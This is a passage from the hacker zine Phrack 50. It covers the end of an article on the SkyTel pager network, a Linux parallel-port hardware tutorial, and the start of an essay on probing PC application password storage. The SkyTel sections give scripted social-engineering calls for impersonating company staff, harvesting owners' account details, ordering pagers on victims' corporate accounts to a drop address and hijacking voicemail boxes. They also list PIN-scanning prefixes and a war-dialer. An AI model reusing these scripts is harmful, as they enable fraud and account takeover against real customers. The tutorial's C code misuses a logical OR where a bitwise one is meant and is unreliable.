     St. Petersburg
     Tallahassee
     Tampa

     GEORGIA
     Albany
     Atlanta
     Columbus
     Macon
     Savannah

     HAWAII
     Honolulu

     IDAHO
     Boise City

     ILLINOIS
     Arlington Heights
     Aurora
     Chicago
     Decatur
     Elgin
     Joliet
     Naperville
     Peoria
     Rockford
     Springfield

     INDIANA
     Evansville
     Ft. Wayne
     Gary
     Hammond
     Indianapolis
     South Bend

     IOWA
     Cedar Rapids
     Davenport
     Des Moines
     Sioux City

     KANSAS
     Kansas City
     Overland Park
     Topeka
     Wichita

     KENTUCKY
     Lexington
     Louisville

     LOUISIANA
     Baton Rouge
     Lafayette
     Metairie
     New Orleans
     Shreveport

     MARYLAND
     Baltimore
     Columbia
     Silver Spring

     MASSACHUSETTS
     Boston
     Brockton
     Cambridge
     Fall River
     Lowell
     Lynn
     New Bedford
     Newton
     Quincy
     Somerville
     Springfield
     Worcester

     MICHIGAN
     Ann Arbor
     Clinton
     Dearborn
     Detroit
     Worcester
     Flint
     Grand Rapids
     Kalamazoo
     Lansing
     Livonia
     Southfield
     Sterling Heights
     Warren
     Westland

     MINNESOTA
     Bloomington
     Duluth
     Minneapolis
     St. Paul

     MISSISSIPPI
     Jackson

     MISSOURI
     Independence
     Kansas City
     St. Louis
     Springfield

     MONTANA
     Billings

     NEBRASKA
     Lincoln
     Omaha

     NEVADA
     Las Vegas
     Paradise
     Reno
     Sunrise Manor

     NEW HAMPSHIRE
     Manchester
     Nashua

     NEW JERSEY
     Camden
     Edison
     Elizabeth
     Jersey City
     Newark
     Paterson
     Trenton

     NEW MEXICO
     Albuquerque

     NEW YORK
     Albany
     Buffalo
     Cheektowaga
     New York
     Rochester
     Syracuse
     Yonkers

     NORTH CAROLINA
     Charlotte
     Durham
     Fayetteville
     Greensboro
     Raleigh
     Winston-Salem

     OHIO
     Akron
     Canton
     Cincinnati
     Cleveland
     Columbus
     Dayton
     Parma
     Toledo
     Youngstown

     OKLAHOMA
     Oklahoma City
     Tulsa

     OREGON
     Eugene
     Portland
     Salem

     PENNSYLVANIA
     Allentown
     Erie
     Philadelphia
     Pittsburgh
     Reading
     Scranton

     RHODE ISLAND
     Cranston
     Providence
     Warwick

     SOUTH CAROLINA
     Charleston

     SOUTH DAKOTA
     Sioux Falls

     TENNESSEE
     Chattanooga
     Clarksville
     Knoxville
     Memphis
     Nashville-Davidson

     TEXAS
     Abilene
     Amarillo
     Arlington
     Austin
     Beaumont
     Carrollton
     Corpus Christi
     Dallas
     El Paso
     Ft. Worth
     Garland
     Grand Prairie
     Houston
     Irving
     Laredo
     Lubbock
     McAllen
     Mesquite
     Midland
     Odessa
     Pasadena
     Plano
     San Angelo
     San Antonio
     Tyler
     Waco
     Wichita Falls

     UTAH
     Provo
     Salt Lake City
     West Valley City

     VIRGIN ISLANDS
     St. Croix
     St. Thomas

     VIRGINIA
     Alexandria
     Arlington
     Chesapeake
     Hampton
     Newport News
     Norfolk
     Portsmouth
     Richmond
     Roanoke
     Virginia Beach

     WASHINGTON
     Bellevue
     Seattle
     Spokane
     Tacoma

     WISCONSIN
     Green Bay
     Kenosha
     Madison
     Milwaukee
     Racine

11. International Access numbers to the SkyTel system.

SkyTel US Customers can access the SkyTel System from 44 countries around
the world! Use the chart below to find the access numbers you need.

Legend for notes:

   * a: Pay phones may require a coin or card
   * b: Not available from pay phones
   * c: Not available from all phones
   * d: Local or in-country charges may apply

                    Country           Access Number     Notes

             Australia             1-800-12-8078
             Bahamas               1-800-934-6451       a
             Bahamas               1-800-934-6451       a
             Barbados              1-800-534-2170       b
             Belgium               0800-1-4389          a
             Bermuda               1-800-825-0311
             Canada                800-759-8255         c
             Chile                 1230-020-3220        b
             China                 10-800-524-4624      c
             Colombia              980-1-52547          a, c
             Costa Rica            001800-234-4793      b
             Denmark               8001-8671            a
             El Salvador           0-1-800-234-9578     b, c
             Finland               9-800-1-59402        a
             France                05-90-3223
             Germany               0130-8-18414
             Greece                00800-12-2613        a, c,d
             Guam                  1-800-671-0150       a
             Guatemala             099-0082             a
             Hong Kong             800-5688             a
             Hungary               00-800-11144
             Indonesia             001-800-011-0277
             Ireland               1-800-55-5523
             Israel                177-150-1572         a
             Italy                 1678-77100           a
             Japan                 0031-12-3373         a, c
             Luxembourg            0800-6170
             Malaysia              800-2652             a, d
             Mexico                95-800-759-8255      c, d
             Netherlands           06-022-7548          a, c
             Netherlands Antilles  0031-12-3373         b, d
             New Zealand           0800-447036
             Norway                800-15617
             Panama                001-800-507-0089
             Portugal              0501-12-707          a, c
             Singapore             800-1200-457         a
             South Africa          080-09-92588         a
             Sweden                020-79-3976          a
             Switzerland           155-2154             a
             Taiwan                0080-13-8341         a
             Thailand              001-800-12-066-0249  a, c
             United Kingdom        0800-89-3648
             Uraguay               000-413-598-0371     a, c,d
             Venezuela             8001-2458

12. SkyTel accessible by Land, Sea or Air.

     Accessibility is important in any business, but when you provide
     mobile satellite communications to maritime, aeronautical and
     land mobile customers, it's your main selling point.

     The folks at COMSAT Mobile Communications sell communications
     that know no bounds, so they need to keep in constant contact
     with all their customers and prospects. That's why they rely on
     SkyTel.

     Robert Katz, director of Mobile Data for COMSAT, says, "It's not
     just SkyTel paging that's so valuable to us. It's the whole
     spectrum of SkyTel services." As a matter of fact, the company
     depends on more than 160 SkyTel pagers, especially in the sales,
     engineering and operations divisions, as well as a variety of
     SkyTel services.

     Serving as much-needed administrative support, a SkyTel Corporate
     Access Number gives customers or employees toll-free access to
     sending pages - with just one easy number and without having to
     carry or remember PlNs. With a list of key COMSAT employees and
     their PlNs, the SkyTel operator sends messages like a personal
     assistant. Katz uses this service to send out important meeting
     notices or project reminders, either to individuals or an entire
     group. "It's even better than voice mail or e-mail," says Katz.

     SkyTel service even works with COMSAT's office systems to keep
     communications transparent to the caller. For example, when Katz
     receives a call at his desk, his office voice mail system pages
     him immediately. Wherever he is, his SkyTel pager alerts him that
     a call is waiting. Within minutes, he phones in an access code to
     be connected instantly. When he picks up the call, the caller
     doesn't know if Katz is in a meeting, driving down the highway or
     relaxing at home. All he knows is that Katz is available for him.

     A loyal SkyTel customer since 1990, COMSAT is currently
     integrating SkyTel 2-Way messaging into their day-to-day
     operations. Of course, you would fully expect these experts in
     satellite communications to take advantage of the best in
     satellite messaging technology. With SkyTel they're moving full
     speed ahead.

13. Overview of SkyTel.

Don't sit by the phone and wait for important calls. Carry your SkyTel
pager and stay in touch. Let your messages find you.

Anyone - from customer service reps, medical personnel and sales executives
to busy parents and teenagers - can take advantage of the easiest
communications solution today.

SkyTel has paging services and coverage options to meet your requirements.
In town or out, SkyTel is the only service you'll need.

Only The SkyTel System includes these advances:

   - Always Toll-free - no fumbling for spare change; no cost for calls,
     from anywhere in the United States
   - Personalized Greetings - just like an answering machine, change your
     greeting as often as you like ... easier for callers to use and
     understand
   - Page Recall - stop worrying about missed messages; call in to review
     messages from the last three days, even if your pager was turned off

       If you need ...                        Then try ...

 To be notified with a       SkyPager for short, simple communications.
 number (phone number or
 special code) that someone
 is trying to reach you.

 Full written messages in    SkyWord for receiving numeric and
 the palm of your hand.      alphanumeric messages.

                             SkyTel 2-Way for revolutionary two-way
 To answer questions
 immediately. Without using  communications. With SkyTel 2-Way you can
 a phone.                    respond immediately to messages you receive,
                             right from your pager.

                             SkyTalk, giving you full-featured voice
 To know you have a voice    mail and notification on your pager every
 message.                    time a message is left, available with all
                             paging services.

                             SkyFax so your callers can fax easily to
 Easy access to all of the   your unique toll-free number. You're
 faxes that come in while    notified via your pager and can download,
 you're out.                 save, store and forward faxes from wherever
                             you are (not available with SkyTel 2-Way).

 To know what's going on in  SkyNews and SkyQuote, providing you with
 the world and on Wall       news or stock quotes twice daily, available
 Street.                     to SkyWord subscribers.

14. Getting Phree SkyTel Pagers

    To get phree SkyTel pagers you will need to get a pin. To do this
    you will have to do some scanning. Use the prefixes in section 16 of
    this article. Each pin is seven digits. If an account has a personal
    800 number, then that is the pin. For example 800-759-9826. The pin
    is 7599826.

    Hint: If you find a pin with option 3# on it. Which is alpha-numeric
          paging. Call it up. The SkyTel operator will read you the name
          of the owner of the pager. Now you have the owner. All you have
          to do is goto a payphone and page the owner of the pager to the
          payphone and bull shit him into something stupid like "This is
          Michael Donaldson from SkyTel. We have lost some information on
          your SkyTel account. We need it for billing purposes." He will
          almost 99.99% of the time give it up. Your next step is to CNA
          his number and get all the information on the number. Now you
          have all the information on his SkyTel account. The best accounts
          to get phree pagers with are corporate accounts because they
          usually have many pagers under the account and will let you ship
          a large quantity of pagers out at one time.

Typical Conversation with Skytel to get Phree Pagers:

(if you have a UPS bin number all the better. BIN = billing identification
number. AKA bill shipping to another company).

 SB=Skytel Bitch
 ME=PBXPhreak

    Call 800-SKY-USER

    ME: "Hi, I was wondering if you can help me?"
    SB: "Sure, what do you need help with"
    ME: "I would like to add a pager to my SkyTel account"
    SB: "Ok, sir. Whats your pin on your account"
    ME: (give her the pin you have info on)
    SB: (will ask for info on the account)
    ME: (give her the info)
    SB: "Ok, what type of pager and service would you like"
    ME: "A SkyTel Tango 2 Way Pager " -- $400 each
    SB: "Ok, I am filling an order for a Tango, would you like any extra
         options on this pager"
    ME: "Yes, the SkyTalk, SkyNews, SkyFax, SkyQuote and with nationwide and
         international coverage please" (one fuckin loaded pager)
    SB: "Ok, that will be shipped out tomorrow"
    ME: "Miss, one thing.. I am in Canada right now at a Business conference
         can you ship it over here."
    SB: "Sure. Whats the address you want it delivered to."
    ME: (give her the dropsite)
    SB: "Is there anything else."
    ME: "No thanks. You have yourself a good day and a Merry Christmas!!!"

15. Taking over a SkyTel Mailbox

    Hint: If you find a pin with option 3# on it. Which is alpha-numeric
          paging. Call it up. The SkyTel operator will read you the name
          of the owner of the pager. Now you have the owner. All you have
          to do is goto a payphone and page the owner of the pager like
          a million times and if he doesn't respond do it every day for
          a week. This usually means the pager isn't in use. So this will
          be a good SkyTel to take over.

Typical Conversation with Skytel to takeover a SkyTel Mailbox:

 SB=Skytel Bitch
 ME=PBXPhreak

    Call 800-SKY-USER

    ME: "Hi, this is Michael Donaldson from AirTouch Paging"
    SB: "How can I help you"
    ME: "A customer was getting some options moved around when
         our computers crashed over on our system and I need to make
         some changes quickly, and our technician won't be here for
         awhile. He verified all the information correctly before the
         system crashed.
    SB: "What is the pin number on the account"
    ME: "7599823"
    SB: "OK.. What needed to be changed"
    ME: "He wanted to add SkyTalk and SkyFax and change his code to 9172"
    SB: "Ok i will do that now.."
    ME: "Who am I speaking too. So I can tell my manager." (just bullshit)
    SB: (some stupid name)
    ME: "Ok, Thank You."
    SB: "Is there anything else."
    ME: "No that is fine"
    SB: "Have a good day"

    That is a basic conversation that will get them to change the password,
    and add options to the account.

16. Prefixes for SkyTel Pagers and Voicemail

      800-203-xxxx
      800-213-xxxx
      800-436-45xx
      800-436-78xx
      800-757-xxxx
      800-759-xxxx (original region 759=SKY)

Ways of scanning:

   - Scan by Hand. I would try using Substance's Random Scan program to
     generate numbers in the prefixes mentioned above.

   - Toneloc is available at ftp.fc.net /pub/defcon/TONELOC


17. Conclusion

     That should give you tons of infoz about Skytel and how to acquire an
     account on the Skytel system.

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                    11 of 16

 
             H A R D W A R E   I N T E R F A C I N G   F O R   T H E
                   L I N U X   O P E R A T I N G   S Y S T E M

                     By The Professor <professr@hackerz.org>

  Computer control of real world devices has been an out of reach fantasy for
most people.  In the past, it has rarely been seen outside the R&D labs of
hardware design companies, universities, and a few dedicated hobbyist's
basements.  It takes not only a skilled programmer, but also a person that can
design and build small circuits.

  In this article, I will show you how to use a standard IBM/PC parallel
printer port to control devices, such as bells, relays, and lights.  I will
also show you how to take input from devices such as DTMF decoder IC's, analog
to digital converters, and switches.

  To access the I/O port, the compiled program must be either executed by root
or be suid root.  This could be a potential system security hazard so be
warned.  In order to grant permissions to the port, one must use the function
ioperm().

Syntax (also see the man page):

#include <unistd.h>
ioperm(BASE_ADDRESS,NUM,PERMISSION_BIT);

The first parameter is the port number to set permissions of.
The second parameter is the number of consecutive ports to set permissions of.
 (i.e. if num==3, BASE_ADDRESS, BASE_ADDRESS+1, and BASE_ADDRESS+2 are set).
The third parameter is 1 to give the program permissions or 0 to remove them.

Sending and receiving data via the port is done with the commands, inb() and
outb().

Syntax:

#include <asm/io.h>
value=inb(address); (address can be BASE_ADDRESS+1 or BASE_ADDRESS+2)
outb(value,BASE_ADDRESS);


                                 O U T P U T

Making individual output data lines of a parallel printer port "turn on" is as
simple as selecting them with a corresponding binary value.  Pin 2 (D0) is the
least significant bit and pin 9 (D7) is the most significant bit.  If you
wanted bits 0, 2, 3, 4, and 6 to "turn on" or go high (+5v) while leaving 1,
5, and 7 low (ground) you would first convert the binary value to decimal and
then send that value to the port.  (actually, there is no reason why you can't
just send the binary value to the port)

D7 D6 D5 D4 D3 D2 D1 D0
 0  1  0  1  1  1  0  1   ==  1011101  ==  93

outb(93,BASE_ADDRESS);

If you want all lines low or "off", you send a 0.
If you want them all high or "on", you send 255.

  Controlling the status of the individual bits of the I/O port is a simple
way of controlling solid state relays, optocouplers, LED's and so on.  You
could very easily and very safely control a high wattage lighting system in
this manner. (assuming you are using solid state relays with back EMF
protection). This could/would be good for closet cultivators experimenting
with the horticulture of cannabis sativa or any other plant.  Have you ever
wanted things such as lights and irrigation systems to come on or turn off at
certain times? That's what your crontab file is for!  The possibilities are
endless.


                                  I N P U T

  Standard IBM/PC parallel printer ports have nine control lines capable of
inputting real world data.  Each printer port has three address locations.  The
base address is used to transmit data.  The next address can input five data
bits, using pins 11, 10, 12, 13, and 15 (referred to as BASE_ADDRESS+1 I7
through I3), and the third port address can input or output a nibble of
information using pins 17, 16, 14, and 1 (referred to as BASE_ADDRESS+2 I3
through I0).  The third port address pins must be set HIGH so we can read from
BASE_ADDRESS+2.  I'll show you how in the example.

  The inputs are all active LOW, meaning your device must short them to ground
to create a signal (switch, analog to digital converter, DTMF decoder, etc).
This is not a problem, as most devices already do this.  The ones that don't,
just use an inverter.

  The simplest method of inputting eight data bits is to read the high nibble
from the (BASE_ADDRESS+1) and the low nibble from the (BASE_ADDRESS+2). These
two nibbles can be logically ORed together to form a data byte.  Some of the
data bits are hard-wired on the printer card for active HIGH operation.  To
get around this, I use four sections of a 7404 hex inverter to re-invert the
inverted data lines.

I7 I6 I5 I4 I3 I2 I1 I0      BASE_ADDRESS+1 INPUT LINES
11 10 12 13 15 -- -- --      PIN NUMBER (-- = NOT USED)

I7 I6 I5 I4 I3 I2 I1 I0      BASE_ADDRESS+2 INPUT LINES
-- -- -- -- 17 16 14  1      PIN NUMBER (-- = NOT USED)

  Notice both I3's of both ports are used.   Pin 15 (ERROR) is the 9th input
of a standard IBM/PC parallel printer port.   No offense to this pin, but it's
a pain in the ass to use and I only use it when I *have* to.  Through
software, I disregard it.

Check out this example:

/* next line sets all open collector output pins HIGH
   so we can read from BASE_ADDRESS+2)  */
outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2);
High_Nibble = inb(BASE_ADDRESS+1);
Low_Nibble = inb(BASE_ADDRESS+2);
High_Nibble = High_Nibble & 0xF0;   /*   0xF0 = 11110000   */
Low_Nibble = Low_Nibble & 0x0F;     /*   0x0F = 00001111   */
Data_Byte = High_Nibble | Low_Nibble;

  Pretty simple, eh?  This means you can use I7 through I4 in BASE_ADDRESS+1
and I3 through I0 in BASE_ADDRESS+2 to give you 8 bits of data input.

  All of the data lines must use a pull up resistor.  This includes the
hard-wired active HIGH pins *after* the 7404 inverter.  This lets any device
produce both a high and low logic signal.   Pull up resistors simply pull all
the data lines high so software sees all 0's unless you short a pin to ground.
(Remember these are all active LOW inputs -ground means 1)

  Pins 14, 17, 1, and 11 are all hard-wired for active HIGH operation.  These
are the pins that are signaled through the 7404 inverter IC (which makes them
just like the rest of the pins for ease of use).

NOTES:

*** When compiling programs using these routines, use the -O2 optimize flag,
or else you'll have some headaches.

Port 888 is the 1st parallel printer port (LPT1)

  I am not responsible for your mistakes.  If you plug 120vAC directly into
your parallel port, I guarantee you'll destroy your computer.  Use optically
isolated solid state relays to switch high current.

  For any more info regarding I/O port programming, schematics to some fun
projects, or to send a complaint, e-mail professr@hackerz.org

  If you don't like my code, keep in mind that I design hardware for a living.
I am not a programmer, nor have I ever claimed to be one.   My programs are
elegant on occasion, but mostly just get the job done without actually doing
it the best way.

If you want schematics showing how to hook up the 7404 to the port, mail me.

  I have some interesting things there regarding circuit design.  One of my
favorites is a software package called "PADS"  Personal Automated Design
Software.   It is a CAD package for schematics and PCBoard Design.   The copy
on my web page is a public domain demo.  This demo is fully functional in
every way.  It only limits you to something like 20 IC's, 300 tie points, etc.
I usually do not go over these limits.

Maybe this article will replace the IO-Port [mini] How-To 'cause that is only
about 24 lines of text.

                               E X A M P L E S
                                    A N D
                                D I A G R A M

            /*  simple program to send data via parallel port  */

#include <unistd.h>
#include <asm/io.h>
#define BASE_ADDRESS 888	/* 1st Parallel Port */ 

main() {
int port_data=0;
int Data_Byte=255;
ioperm(BASE_ADDRESS,3,1);	/* set permission on port */
	outb(Data_Byte,BASE_ADDRESS); 
	printf("Sent 255 to port %d to turn all pins HIGH\n",BASE_ADDRESS);
ioperm(BASE_ADDRESS,3,0);	/* take away port permission */
return(0);
}
         /*  end of simple program to send data via parallel port  */
/****************************************************************************/
       /*  simple program to take in 8 bit input via parallel port  */

#include <unistd.h>
#include <asm/io.h>
#define BASE_ADDRESS 888	/* 1st Parallel Port */ 

main() {
int port_data=0;
int High_Nibble, Low_Nibble, Data_Byte;
ioperm(BASE_ADDRESS,3,1);	/* set permission on port */
	outb(inb(BASE_ADDRESS+2) || 15 , BASE_ADDRESS+2); 
	High_Nibble = inb(BASE_ADDRESS+1);
	Low_Nibble = inb(BASE_ADDRESS+2);
	High_Nibble = High_Nibble & 0xF0;   /*   0xF0 = 11110000   */
	Low_Nibble = Low_Nibble & 0x0F;     /*   0x0F = 00001111   */
	Data_Byte = High_Nibble | Low_Nibble;
	printf("LN=%d HN=%d DB=%d\n",Low_Nibble,High_Nibble,Data_Byte);
ioperm(BASE_ADDRESS,3,0);	/* take away port permission */
return(0);
}
    /*  end of simple program to take in 8 bit input via parallel port  */
/****************************************************************************/
                    I                          I  I  I  I
                    0                          6  7  5  4

                                                     P
                                                     A
                    _                                P
                    S                                E  S
                    T                                R  E
                    R                          _  B  |  L
                    O                          A  U  E  E
                    B  D  D  D  D  D  D  D  D  C  S  N  C
                    E  0  1  2  3  4  5  6  7  K  Y  D  T
                    _____________________________________
                1  (o  o  o  o  o  o  o  o  o  o  o  o  o)  13
                14  \ o  o  o  o  o  o  o  o  o  o  o  o/  25
                     `---------------------------------'
                      _        _  |      PINS 18       |
                      A  E  I  S  |<----THROUGH 25---->|
                      U  R  N  E  |       GROUND       |
                      T  R  I  L
                      O  O  T  |
                      |  R     I
                      F        N
                      E        P
                      E        U
                      D  *     T        ** ERROR LINE IS NOT USED AS I3
                         *                  (DISREGARDED VIA SOFTWARE)
                      I  I  I  I
                      1  3  2  3

/******************** End of my little text file / how-to *******************/

EOF


--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     12 of 16


    		          PC Application Level Security

			                by

			           Sideshow Bob


I. Introduction 

   In the past, hackers interested in security have focused most of their
efforts in finding and exploiting security holes in networking related
operating systems, protocols, and applications.  I would like to suggest
another arena of hacking that might be of interest to emerging hackers. 
Although the Internet is certainly a great place to hack, you can also
find a world of hacking sitting right on the computer at your desk.  This
article is really aimed at a broad and young audience, for cryptographers
of tomorrow, not today.  

   The fundamental problem with the lack of security in applications today
is that people just don't care.  Companies that produce security software
do care about security, but most software available today has some
component of security in them, written by programmers who do not
understand or care about security.  When a consumer uses a piece of
software that has advertised security features, they do not have the
knowledge or power to determine if the security in that software is
effective, or waiting to be exploited.  There are literally thousands of
applications out there for PCs right now, and many of them have security
problems just waiting to be discovered. 

  In this article, I hope to provide interested new hackers the motivation 
and knowledge to go out and explore PC applications they have access to in
order to determine if they have security problems.  Giving out exploits is
definitely NOT the goal of this article, I decided to provide one example
to show the process at work, but I leave it up to the readers to go out and
hack for themselves.

  If you find security holes of your own in PC applications, I strongly
encourage you to inform the companies involved, and post your findings in
an appropriate public forum.  If you learn from this article, helping the
security community by letting other people know about security problems in
PC software is the greatest compliment you could give me. 
  

II. Finding an Candidate

  Just exactly what I am talking about when I say PC application security? 
First off, I am talking about mass consumer operating systems.  Unix and
NT are being examined by many security people today in great depth for
security holes, and there is definitely a good reason for that, but this
article is focused on the computers sitting at most people's desks. 
Windows and Mac-OS are both widely used legitimate operating systems. 

  Some security people might tell you if you care about security, don't
run Windows '95.  That is an easy answer, it is far easier to build secure
applications on top of more secure operating systems.  But that does not
address the realistic security threats that exist on these operating
systems.  The fact is, nobody is going to ruin your life, steal your
money, or cause millions in harm solely because of a vulnerability in one
of these programs.  But as a consumer, you should expect and DEMAND that
when someone tells you their program is secure that they aren't flat out
lying to your face.  When someone tells you your personal information you
enter into a program is protected by a password, you should DEMAND that
without that password, your data is protected from your family, your
friends, and even a friendly visit from your local law enforcement agency. 

  What programs should you look for with security holes?  Quite simply,
anything that claims to have any security in it.  The most obvious tip-off
is anything with passwords.  In addition, anything that has users,
restricts access, or claims to protect your data.  Encryption and
authentication are big buzzwords that someone is messing with security. 
Look on your hard drive, look in computer stores, look on the Internet for
shareware and freeware (if its free, its ok if it lies about what it does?
I don't think so.).  Not every program has any element of security in it,
but lots do.  Not every program you find will have security holes, but if
you spend enough time and look at enough programs, you are going to find a
lot that do.  I would especially encourage you to not limit yourself to
high-profile, popular applications.  Certainly those are viable
candidates, but there are a lot more choices than that.  If you have found
an application, now you are ready to hack! 


III. Finding Vulnerabilities

A. Application Purpose

  You have found a candidate application, and now you want to find out if
it is insecure.  The first thing you want to do is to learn how the
program works.  The worst of the worst applications will allow you to
subvert security directly from within the application.  An example of this
was the first version of Microsoft "Bob".  After incorrectly entering your
password too many times, Bob would wisely figure out that you forgot your
password and ask you if you wanted to change it. 

  Determine what the goal of the security in the application is. 
Generally this will be to protect sensitive information in the program. 
For the candidate application, determine what information is being
protected.  It might only be a small sub-set of the data, or perhaps all
of it.  Often the product won't tell you what it is trying to protect, so
you will need to do some digging inside the program to discover it.  Some
programs might let anyone read data, but only authorized users modify it. 
Other programs might let anyone enter in new data, but only authorized
users read what has been entered.  Another program might let anyone read
and enter in new data, but only let authorized users delete individual
entries (in an insecure OS, anyone could delete the entire database, but
that does not imply one could selectively remove information from a
database). 

B. User Interaction

  Next, figure out all the different elements of the program that allow
the user to interact with the security module of the program.  Where does
it ask for usernames?  Where does it ask for passwords? Can I change a
password?  Can I remove a password?  Can I password protect different
parts of a file?  Do I have any options as to what kind of security is
employed?  Can I disable security altogether?  Do I protect a file, a
database, a user?  This is the typical user level interaction with the
program.  I would not even attempt to start digging at a lower level of
the program until you are an expert on how the program functions at the
user interface level. 

C. Digging Deeper

  Now that you have comprehensively examined and understand the program at
the normal user level, you are ready to start hacking, and that means
figure out how the program works.  Now, if you are extremely fortunate,
you may have source code to the program and will be able to simply read
that source and fully understand how it works.  Another method for
figuring out how the program works is to disassemble the program and read
through the assembly code of the program as it executes.  This is a
reasonable method and sometimes the best, but it requires a thorough
understanding of assembly language and in order to make this article
accessible to anyone interested, I am going to ignore that possibility. 
If you are interested in doing so, I suggest picking up a good book on
assembly and a high quality debugging tool. 

  If you have the most typical application of security in your
application, the security is meant to protect some sensitive information. 
Somewhere on your hard drive, in some form, is that sensitive information:
Find It!  Usually this isn't hard, you install the application somewhere
and if it is well behaved it doesn't put the data in some random location
on your hard drive (but be forewarned, some do exactly to confuse you at
this step).  Start out with a fresh installation of the software on your
drive, and then enter some data into the application, and see what
changed.  Now you should know what file(s) data gets written out to. 

D. File Modifications

  Look at the directory listings, sometimes the filename itself is a clue.
Save directory listings out to a file, and then make some modification in
the program (and save), and make another directory listing.  For each
listing, write down what you did between that and the last listing.  Now
you have a bunch of directory listings, which may or may not help you. 
You need to try and interpret this data to tell if there is anything you
can learn about how the program works.  In the worst case (for you),
absolutely nothing will change.  Usually at least timestamps on the files
will change, telling you what files were written to. 

  Does every user or database you enter get written to a new file which is
the name of the user, or does it all get written to one file?  Does each
new entry create a new file?  Does one file get bigger by a fixed amount
of size for each entry you add?  Is each file created the same size?  Do
you recognize the extension of the file? 

E. File Contents

  If you have made any progress at all by this point, you should be able
to narrow down what file or files you need to examine in more depth.  The
best thing to do is to just look at the files.  There are two things you
need at this point:  a good hex viewer and a good diff utility.  The hex
viewer should let you know look at both the ASCII text and binary contents
of the file; for DOS something like the shareware List utility is good.  A
diff utility will take 2 or more files as input and tell you what has
changed between them.  This will automate telling you what has changed in
the files when you make a change in the data.

  Quite simply, use these two utilities.  Take a look inside the files
that you KNOW have to contain the sensitive data.  Now if a program is
meant to protect you from reading the data and your hex viewer is sitting
there and you see it all in front of your face, you have found a problem. 
If you change an 'a' to a 'b' in the application and one byte of data is
incremented one byte in the file, you are getting closer.  In many cases,
you will need to enter in a lot of data into the application and compare
numerous resulting files in order to figure out exactly what and where
things change. 

  If data is being protected, the worst case (for you) is that it is
actually being encrypted with a known secure algorithm.  Does that mean it
is secure?  No, through thorough cryptanalysis, serious computing power,
or implementation flaws, one might still be able to read the data.  But
this sort of analysis is left to professionals in that field, and not the
target of this article.  For you, you may have to find alternative methods
to gain access which are probably far easier to begin with.  This might
mean keystroke logging, social engineering, or simply trying to brute
force attack the situation. 

  A more common situation is that some, but not all of the data is being
encrypted.  You will very likely be able to extract sensitive information
that the users of the program thinks is sensitive and should be secure,
but the application programmer's decided was not part of the sensitive
date.  Not clearly communicating what is being protected and what isn't
should be an indication that everything is being protected, but that is
very often not the case at all. 

  Another common situation is that the data is being poorly encrypted. 
This is usually the case if you can't read the data in text in the files,
but you are able to pick up clear patterns of what is being changed.  Good
encryption should make data that looks 'random', if what you are looking
at looks decidedly not random, there is a problem. 


IV. Exploiting Vulnerabilities

  I will finish up this article with an example of how to work through this
process from finding a program to exploiting the vulnerability.  Ziff-Davis 
Interactive has been advertising and offering a free Windows utility known 
as "Password Pro" for the sole purpose of letting Windows users maintain 
passwords in a central database securely.  On the Internet today, people 
(not to mention hackers) have accounts on numerous machines and managing the 
passwords for all of these systems is not a trivial task.  With the increasing
popularity of requiring registration to gain access to all the features of a 
web site, users are accumulating more and more accounts than ever before.  

   In the past, users have taken on several solutions to this problem.  Some
people use the same account name and password everywhere they go.  Obviously
this presents a major security problem, as there is no way to guarantee the
security of any one of the accounts that they use, much less all of them.  If
their password is compromised, it is an even more daunting task to change the
password on every site that is being used.  Still, this requires a user
maintain a list of systems they have accounts on, and with more people using
the net everyday, it is inevitable that some people will attempt to use the
same account name.

   Another possible solution people have used is to maintain a cleartext file
on their system, or a physical notebook that has a list of usernames and
passwords.  Using paper and pen certainly will eliminate hackers over the
Internet from gaining access, but if you have ever seen War Games you know
that crackers are not above physically snooping around your home or office
in order to find out passwords.  Leaving a plaintext file on your system is
an even worse solution.  If you are running an insecure operating system
such as DOS or Windows '95, anyone that can sit down at your computer will
be able to read it.  Even with Windows NT or a Unix operating system, you do
not want anyone that can gain administrator/root access to the machine to
immediately gain access to every machine on the Internet that you have an
account on.  

   While there is no perfect solution preventing someone with root access to 
the box you are using from snooping your keystrokes or sniffing your sessions,
it is certainly more work to do so than to simply read a cleartext file.  So,
it is clear that for many users on the Internet today, there is a definite 
use for the type of utility that ZD Net is providing.  Further, as will be
explained in this article, there are definitely fairly secure methods of 
writing and using such a database.  It is unfortunate that Ziff-Davis has 
implemented this tool in such a manner as to actually make it easier for
people to obtain users' account names and passwords.  The author of this
utility was informed through appropriate channels of this vulnerability
in his software and as of the release of this article, an upgraded version
with a well known encryption algorithm should be available.  

   All of my work with regards to Password Pro was done by modifying accounts
and entries through the normal operation of the program, and then viewing the
changes that were made to the corresponding .lst files.  At no point did I
attempt to disassemble the Password Pro code, although that would have 
resulted in the same ultimate findings.

   For each user on a machine that wishes to use Password Pro, a file is
created in the Password Pro directory with a filename of <username>.lst.  When
you first start-up Password Pro, it prompts you for a username and password.
When you enter a filename, it looks for a file with the .lst extension matching
that username.  If it finds the file, it then reads the password that you are
prompted for, and attempts to validate the password with the one stored in the
file.  If the file does not exist, the user is asked if he wants to create a
new account; if so he can then enter and confirm a password and a file is
created.  

   The file format of the user .lst files is proprietary.  When the file is
first created, it is 32 bytes in length.  Users can then add entries to the
file which contain a system name, account name, password, and password 
expiration.  Adding a single entry to a new .lst file increases the file size
to 166 bytes.

   Viewing the file showed that the Password Pro password did not show up
in plaintext anywhere in the file, nor did any of the passwords for the
systems that users had entered.  System names and account names were however
in plaintext; my first disappointment in examining the security of the program.

   My first thoughts with regards to the file format was simply that the
password was stored in the first 32 bytes of the file, and the entries were
stored in fixed length structures beyond that.  If each entry's password was
actually encrypted with the password that was entered by the user, there would
be no way to directly view the contents of the file.  At this point in time,
I had no idea if this was the case or not, but if it proved to be true, there
would still be other options available in attempting to read the entries, such
as a dictionary attack.

   To test my first theory, I created a user, blue, that I would attempt to
break the security on.  I used the password "password", obviously a poor
choice for a real application but since I was not going to mount a dictionary
attack at this point, it was irrelevant.  I added an entry for this user for
a fictitious system, account name, and password.  I then created a user,
hacker, with no password on his account, and on database entries.  On my
filesystem I then had a 166 byte blue.lst file and a 32 byte hacker.lst file.
In order to merge the two files into one, I used the commands:

     C:\PASSWORD> tail --bytes=134 blue.lst > blue.end
     C:\PASSWORD> copy /b hacker.lst+blue.end > hacked.lst

   I then loaded up Password Pro and attempted the username 'hacked'.  It
prompted for a password and when I attempted none, it prompted me again.  It
was clear that cracking this program was not going to be quite that trivial.

